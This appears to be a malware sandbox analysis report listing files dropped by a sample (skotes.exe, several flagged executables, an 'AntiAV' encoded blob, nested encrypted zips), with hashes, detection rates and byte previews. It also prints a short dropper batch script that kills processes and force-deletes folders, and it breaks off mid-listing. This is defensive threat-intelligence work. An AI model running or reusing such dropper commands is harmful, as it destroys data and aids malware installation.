Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2... .......pH...@..........................P.......D...@... ............................._pt.s....`t.....................0....................................................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... .08...t......`(.............@...hdinlnsl.`.......V...b(.............@...luxyrgrl..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4395520
Entropy (8bit):	7.986631048424993
Encrypted:	false
SSDEEP:	98304:mMU5lcor5nja6WnjdKNCIBzCpLqtSIA3:ZUXhjByjdKNvyLGSIe
MD5:	EE69644C05220B20497029110C3A4D6C
SHA1:	0459D2706D2B61CE1510B30BE64934A2D5A1F4B1
SHA-256:	D93B5614D8A0E4B0E6E0B80906FFBEF339ECEE97B08833B690DAD9470D4BD2A9
SHA-512:	B0441B806CE9269957211A4F0725DFB57BC171484975DA423D4CB1B72813B32CB51F1A101673B798CCAD7949F1E3304AB9F918F8030750F6338EE5B0183E7C83
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@.................................%.C...@... ............................._.r.s.....r......................~...............................}...................................................... . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... . 7...r......H(.............@...cgufevln............J(.............@...qfofwegu..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.942465462249873
Encrypted:	false
SSDEEP:	24576:h2DfIgQ0ieGjO3ta1IQjATEbM0KTyjbG8iIxU24VJCHd2A+oTl5pqa0iRZYZwCFO:wkgZvta1PVkTyjVUnJq2aTkaZivO4
MD5:	81C164E0C2D7D36E812FE860548569A1
SHA1:	97825C34E950ED01F6111B524C114F209A1B9819
SHA-256:	F88321D520C20B67F4FBA3B0DCC89003E30D1AABF2E728E5C50773BADD64632E
SHA-512:	E13101ABD29BC203BFC553056741CC9FADC239350230F92397C74697DD069CC5F6540E1979063B35C18AAAB913682104DBE24B17430D359ADAAA583E6EF6C548
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i...........nG@.....ZR.....ZC.....ZU.................Z\.....ZB.....ZG....Rich...................PE..L....,.e.....................@.......`............@.................................\.......................................[.A.o.....@.....................................................X...................................................... . ..@......N..................@....rsrc.........@..p...^..............@....idata ......A.....................@... ..)...A.....................@...enuobymw.....`k.....................@...cncgxjdr.....P......................@....taggant.0...`..."..................@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1859584
Entropy (8bit):	7.946987079241149
Encrypted:	false
SSDEEP:	24576:Ck8wcbr6w8lyTUY+a4hwtOUZ8HqPD7DJ7LdbPVdU8oTmA+n3Sp78ScIO62t4K+j8:5NmrhIRLU+qPD7DdZdoqRnCpYSx+
MD5:	184CEE9B3F334E2CEE2CCC95977E5335
SHA1:	3C13283ED8C4E0E09AE0E5F361DA46F073CD2386
SHA-256:	188E74BAB6540E25C1CC694264D96ED609F113267F747BE27E09A2420EF90577
SHA-512:	ADBE8C840684E0D56F2AB56677548A4DD47A8C8F0810557CBDFD21C27829B7ECF4950BD8FF7008A3C2E6D6ECBAC84A368542109D103D493C412751F56748EF6E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I......b....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .`*..@.......\..............@...ogquhcng....../......^..............@...zctwxjzx......I......8..............@....taggant.0....I.."...>..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0itilhoo.5mx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4trrvda2.z4w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_anti4zed.4kv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mx3geexh.ds2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pttiyuux.k2w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qltsqtg5.dlc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snlhuisd.h1q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvbzpfxz.giu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3057152
Entropy (8bit):	6.602267885797462
Encrypted:	false
SSDEEP:	49152:HY8f7HONSV4eK0Toe/cil9yPFSxoMu4Q56M4/n:HTOEWeK2oe//9ydIFuJD6n
MD5:	8D69ADFE2E1DB76B837405B076979809
SHA1:	B0C34909C5C70DC82384356A7A7D62877C6C82C8
SHA-256:	E8B6019FF977C06318A16605F86966341131D037A9E5FA4A46E2AC8780E992C6
SHA-512:	78A09192F872E355176B1FC642B9AD4C9D056F4C2465D17BD965C849E9E3E0669D825DBDEFFE6060FC21DCCEF7DC76207EA585BEB2653073FEB9F20A7C8221BB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2......p/...@.................................W...k...........................p52............................. 52..................................................... . ............................@....rsrc...............................@....idata ............................@...ecafqtwy..+.......+.................@...sufudceg.....@2.....................@....taggant.0...P2.."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
